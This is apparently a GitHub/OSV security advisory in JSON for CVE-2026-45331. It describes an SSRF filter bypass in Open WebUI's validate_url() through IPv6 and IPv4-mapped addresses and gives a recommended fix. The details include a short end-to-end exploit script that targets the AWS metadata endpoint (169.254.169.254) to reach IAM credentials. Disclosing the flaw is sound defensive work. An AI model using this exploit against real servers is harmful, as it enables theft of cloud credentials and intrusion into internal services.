CVE-2026-45331: Open webui Open WebUI Has A Full Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4v7r-f4w8-8972",
  "modified" : "2026-05-15T23:53:48Z",
  "published" : "2026-05-14T20:18:54Z",
  "aliases" : [ "CVE-2026-45331" ],
  "summary" : "Open WebUI has a full SSRF Vulnerability in the RAG Web Search Feature",
  "details" : "# SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in `validate_url()`\n\n## Summary\n\n`validate_url()` in `backend/open_webui/retrieval/web/utils.py` calls `validators.ipv6(ip, private=True)`, but the `validators` library does NOT implement the `private` keyword for IPv6 — the call raises a `ValidationError` (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (`::ffff:10.0.0.1`) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (`0.0.0.0/8`, `100.64.0.0/10`, `192.0.0.0/24`, etc.) are not blocked.\n\nThe vulnerability has existed since the `validate_url()` function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls `validate_url()`, including `/api/v1/retrieval/process/web`, `/api/v1/images/edit`, and others.\n\n## Affected code\n\n`backend/open_webui/retrieval/web/utils.py validate_url()`:\n\n```python\nif validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises\n    raise ValueError(...)\n```\n\n## Proof of concept\n\n```python\nimport validators\nprint(validators.ipv6(\"::1\", private=True))\n# ValidationError(func=ipv6, args={'reason': \"ipv6() got an unexpected keyword argument 'private'\", ...})\n```\n\nEnd-to-end exploit:\n\n```python\nimport requests, ipaddress\n\nOPEN_WEBUI_URL = \"https://target\"\nTOKEN = \"...\"\nTARGET_IPV4 = \"169.254.169.254\"   # AWS IMDSv1\nmapped = \"::ffff:\" + TARGET_IPV4\n\nrequests.post(f\"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web\",\n              headers={\"Authorization\": f\"Bearer {TOKEN}\"},\n              json={\"collection_name\": \"\", \"url\": f\"http://[{mapped}]/latest/meta-data/iam/security-credentials/\"})\n```\n\n## Impact\n\nAny authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.\n\n## Recommended fix\n\nReplace the `validators` library calls with stdlib `ipaddress`:\n\n```python\nimport ipaddress\naddr = ipaddress.ip_address(ip)\nif addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:\n    raise ValueError(...)\n# also unwrap IPv4-mapped IPv6 and re-check:\nif isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:\n    addr_v4 = addr.ipv4_mapped\n    if addr_v4.is_private or addr_v4.is_loopback or ...:\n        raise ValueError(...)\n# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).\n```\n\n## Related but separate advisories\n\n- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6\n- DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r\n- urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx\n- Playwright loader redirect: GHSA-jrfp-m64g-pcwv\n- Missing `validate_url()` call in image_generations: GHSA-h7cc-wwjp-5xqh\n\n## Credits\n\n- **Dor Konis (dkonis, GE Vernova)** — first to identify the `validators.ipv6(private=True)` silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).\n- **wlayzz** — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.\n\nSubsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing `validate_url()` once resolves all of them.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.12"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-4v7r-f4w8-8972"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45331"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:18:54Z",
    "nvd_published_at" : "2026-05-15T20:16:48Z"
  }
}